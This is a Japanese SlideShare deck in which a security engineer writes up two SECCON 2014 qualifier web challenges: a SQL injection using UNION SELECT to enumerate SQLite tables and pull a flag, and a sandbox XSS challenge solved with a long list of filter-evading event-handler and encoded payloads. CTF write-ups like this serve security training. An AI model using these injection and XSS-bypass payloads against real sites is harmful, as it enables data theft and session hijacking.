Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

とある診断員のSECCONオンライン予選

3,720 views

Published on

7/19に開催されたSECCON 2014 オンライン予選に参加した時に、自分が解いたWeb 100と300の問題のwrite upを書きました。

  • Be the first to comment

とある診断員のSECCONオンライン予選

  1. 1. オンライン予選
  2. 2. 自己紹介  セキュリティエンジニアやってます。  脆弱性診断業務を担当しており、専門はWebセキュリティ です。  SECCONオンライン予選にはチーム「vuls」で参加していま した。 TwitterID: tigerszk 今回は参加して非常に楽しかったので、自分の解いたWebの問題について忘 れない内にWrite UPを書きました。
  3. 3. 箱庭SQLi なんとSQLiも箱庭に! 検索画面におけるSQLiの脆弱性がテーマの問題 Web 100点の問題
  4. 4. そりゃね 当たり前だけどそりゃインジェクションはできます。
  5. 5. やったこと もうやることはインジェクションでデータぶっこ抜くしかないよねって ことで、早速夢が広がるUNION SELECTを使うことにする。  カラム数の特定 order byかまして6だとエラーになったので、select文のカラム数は5と特定 ' order by 6;--  UNION SELECTを実行 とりあえずUNION SELECTできることを確認 ' UNION ALL SELECT null,null,null,null,null;--  DBの特定 以下のSQL文が通ったのでデータベースが「SQLLite」だと特定 ' UNION ALL SELECT null,null,null,null,null FROM sqlite_master;--  テーブル名の一覧を取得 UNION SELECTで「sqlite_master」テーブルからテーブル名をGET! ' UNION ALL SELECT null,name,null,null,null FROM sqlite_master order by name;-- このDBでは以下のテーブルが存在していることがわかった SECCON COMPANY sqlite_autoindex_COMPANY_1
  6. 6. とりあえず解けて良かった 見るからに「SECCON」ってテーブルが怪しいし、カラムは「flag」かなと思っ て適当に 以下のSQL文を実行したらflagをGET!やったね ' UNION ALL SELECT null,flag,null,null,null FROM SECCON;--
  7. 7. 箱庭XSSリターンズ ご存知今回もでてきた箱庭XSS ひたすらXSSを発生させてアラートを上げていく問題 Web 300点の問題
  8. 8. スゲーいじわる 例えば「 “><script>alert(‘XSS’)</script> 」を入力するとこうなる。 入力した文字の内容に応じて弾かれる文字が増えていく鬼畜仕様となっている。 どんどん使えなくなる文字列が増えるので、入力する順番を考える必要がある。
  9. 9. おまけに 上のバーに注目すると、Stage2であの程度の増加分なので、天竺並みの果てし ない道のりであることがわかり、若干ていうかかなり心が折れそうになる。 ※ちなみに結局全部で20ステージもあった。
  10. 10. 今回は完全敗北 頑張ったんだけど時間内では、15問目が限界でした。今回は勝てなかった。。。 【僕が挿入した文字列】 "onKeyDown="document.write('<x73cript>x61lert(x22XSSx22)</x73cript>')" "onMouseEnter="alert('XSS')" "onMouseDown="alert('XSS')" "onMouseLeave="alert('XSS')" "onMouseOut="alert('XSS')" "onMouseMove="alert('XSS')" "onFocusOut="alert('XSS')" "onclick="alert('XSS')" "onFocus="alert('XSS')" "onMouseWheel="alert('XSS')" "onMouseUp="alert('XSS')" "onmouseover="alert(decodeURI(decodeURI(/%58%53%53/.source)))" "><script>eval('u0061u006cu0065u0072u0074u0028u0027u0058u0053u0053u0027u0029');</script> "onKeyPress="/127641/['constructor']['constructor']('al'+'ert'+'('+'''+'XSS'+'''+')')() "onSelectStart="/123441/['cons'+'truc'+'tor']['cons'+'truc'+'tor']('a'+'l'+'e'+'r'+'t'+'('+'''+'XS'+'S'+'''+')')() 先頭文字のみを数値文字参照とかすると、ブラックリストになる文字列が、数 値文字参照を含んだ結構まとまった文字列になることに、残り30分くらいに気 づいたorz…時すでに遅し。 例えば「“onmouseover=”&#97lert(‘&#x58SS’)“」とかいれるとフィルタされるの は 「onmouseover」、「97lert」、「x58SS」となるみたい。 これだったらイベントハンドラ使いまくればもっとイケそうじゃんと思った時 にはタイムアップ。
  11. 11. 途中でご褒美が 6問解いた時点でご褒美をいただいた。 運営の方の暖かさを感じた瞬間である。マジで泣きそうになった。
  12. 12. お家に帰ってから復習しました 箱庭だからお家でも続きができたので、頑張ってクリアしました! 下記が僕が攻略した挿入文字列です。かなり力押しなので全然美しくない、、、 いやーイベントハンドラってホントに沢山ありますねw "onKeyPress="u0077indow['u0061lert']('u0058SS')" "onSelectStart="&#x00077indow['&#x00061lert']('&#x00058SS')" "onblur="&#x0077indow['&#x0061lert']('&#x0058SS')" "onmouseover="&#x077indow['&#x061lert']('&#x058SS')" "onbeforepaste="&#000119indow['&#00097lert']('&#00088SS')" "ondblclick="&#00119indow['&#0097lert']('&#0088SS')" "oncopy="&#0119indow['&#097lert']('&#088SS')" "onpaste="&#119indow['&#97lert']('&#88SS')" "onKeyDown="document.write('<x73cript>x61lert(x22XSSx22)</x73cript>')" "onMouseEnter="alert('XSS')" "onMouseDown="alert('XSS')" "onMouseLeave="alert('XSS')" "onMouseOut="alert('XSS')" "onMouseMove="alert('XSS')" "onFocusOut="alert('XSS')" "onclick="alert('XSS')" "onFocus="alert('XSS')" "onMouseWheel="alert('XSS')" "onMouseUp="alert('XSS')" "><script>alert('XSS')</script>
  13. 13. できれば見たかったなあ 全部を解くと最後にFLAGがGETできる。 できれば戦っている時に見たかった、、、
  14. 14. まとめ 俺のXSS力が足りないことが良くわかっ た。 もっと修行が必要だorz... SECCON運営の皆様、非常に楽しい時間でした。 有難うございました!

×